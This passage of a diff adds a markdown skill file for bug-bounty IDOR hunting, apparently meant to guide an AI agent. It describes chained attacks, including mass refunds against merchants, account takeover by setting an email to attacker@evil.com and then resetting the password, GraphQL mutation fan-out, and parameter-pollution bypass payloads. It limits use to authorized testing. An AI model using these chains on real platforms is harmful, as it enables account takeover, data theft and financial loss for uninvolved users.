+ - **B.** Second IDOR: `POST /api/orders/{order_id}/refund` issues refunds without checking that the requester owns the merchant/order.
391
+ - **C.** Trigger refund on each of the victim merchant's recent orders. Money moves from merchant to customer (who is also attacker-controlled).
392
+ - **Impact:** Direct financial loss to the victim merchant. Mass-exploitable across the platform's merchant base.
393
+ - **Real shape:** Multiple disclosed e-commerce platform IDOR chains 2019-2023. Cross-refs `hunt-business-logic` Chain (financial impact via state-machine confusion).
394
+
395
+ ### Operator-level pattern
396
+
397
+ When you confirm a read-IDOR at A, immediately ask: *what state-change accepts the same ID and might also be IDOR'd?* The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
398
+
399
+ Cross-references:
400
+ - `hunt-ato` — Chain 1, 5
401
+ - `hunt-xss` — Chain 2
402
+ - `hunt-graphql` — Chains 3, 4
403
+ - `hunt-misc` — Chain 5
404
+ - `hunt-business-logic` — Chain 6
405
+
406
+ ---
407
+
408
+ ## Related Skills & Chains
409
+
410
+ - **`hunt-auth-bypass`** — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing `req.user.id` scoping in ORM query + missing middleware on legacy `/v1/` route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.
411
+ - **`hunt-ato`** — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: `PATCH /api/users/{victim_uid}` accepts attacker's session + victim UID → set `email=attacker@evil.com` → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.
412
+ - **`hunt-graphql`** — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: `__schema` introspection → enumerate every mutation accepting `id:` argument → substitute victim IDs across `updateUser`, `deleteOrg`, `transferBilling` mutations → mass IDOR fan-out from one introspection query.
413
+ - **`security-arsenal`** — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (`?id=own&id=victim`), nested-JSON wrappers (`{"data":{"id":"VICTIM"}}`), and parameter-name variations (`uid`/`userId`/`user_id`/`account`) when the first direct substitution returns 403.
414
+ - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.
415
+
416
+ ## When to Use
417
+
418
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
419
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
420
+
421
+ ## Limitations
422
+
423
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
424
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
425
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
426
+
427
+ ### Example
428
+
429
+ ```bash
430
+ # Read-only first step; confirm scope before anything active.
431
+ cat scope.txt # target list from the authorized engagement brief
432
+ ```
433
+
434
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.